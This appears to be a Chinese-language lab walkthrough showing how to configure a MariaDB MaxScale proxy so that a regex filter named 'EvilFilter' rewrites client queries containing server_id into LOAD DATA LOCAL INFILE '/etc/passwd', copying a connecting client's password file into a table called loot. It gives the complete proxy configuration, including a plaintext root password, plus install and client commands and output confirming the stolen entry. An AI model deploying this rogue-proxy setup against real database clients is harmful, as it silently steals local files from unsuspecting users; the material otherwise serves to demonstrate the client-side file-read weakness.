环境搭建:

首先安装MariaDB,安装步骤见之前文章。然后安装maxscale,maxscale是mariadb公司开发的一套数据库中间件。
maxscale rpm包下载地址:
https://downloads.mariadb.com/MaxScale/2.1.0/centos/6Server/x86_64/maxscale-2.1.0-1.centos.6.x86_64.rpm
10.200.1.112为Mariadb所在服务器

[root@kafka112 tmp]# yum install maxscale-2.1.0-1.centos.6.x86_64.rpm

maxscale.conf的配置文件如下:

------------------------------------------------
[maxscale]
threads=1

[server1]
type=server
address=127.0.0.1
port=3306
protocol=MySQLBackend

[EvilFilter]
type=filter
module=regexfilter
options=ignorecase
match=.*server_id.*
replace=LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.loot

[Read-Connection-Router]
type=service
router=readconnroute
servers=server1
user=root
passwd=Hehe123456
filters=EvilFilter

[Read-Connection-Listener]
type=listener
service=Read-Connection-Router
protocol=MySQLClient
port=4008

[MySQL-Monitor]
type=monitor
module=mysqlmon
servers=server1
user=root
passwd=Hehe123456
monitor_interval=1000
------------------------------------------------

在10.200.1.111上创建账户mariadb

[root@kafka111 ~]# useradd mariadb
[root@kafka111 ~]# cat /etc/passwd |grep mariadb
mariadb:x:667:667::/home/mariadb:/bin/bash

在10.200.1.111上连接10.200.1.112的4008端口

mysql -h 10.200.1.112 -u root -P 4008 -p
mysql> use test;
Database changed
mysql> create table loot (name varchar(5000));
Query OK, 0 rows affected (0.04 sec)

配置文件中的正则:.*server_id.* 匹配上后会执行LOAD DATA LOCAL INFILE ‘/etc/passwd’ INTO TABLE test.loot

mysql> select @@server_id;
Query OK, 31 rows affected (0.01 sec)
Records: 31 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from loot where name like "%mariadb%";
+--------------------------------------------+
| name |
+--------------------------------------------+
| mariadb:x:667:667::/home/mariadb:/bin/bash |
+--------------------------------------------+
1 row in set (0.00 sec)

可以看到客户端的/etc/passwd内容写入到表loot中。


参考文章:

http://www.freebuf.com/sectool/128947.html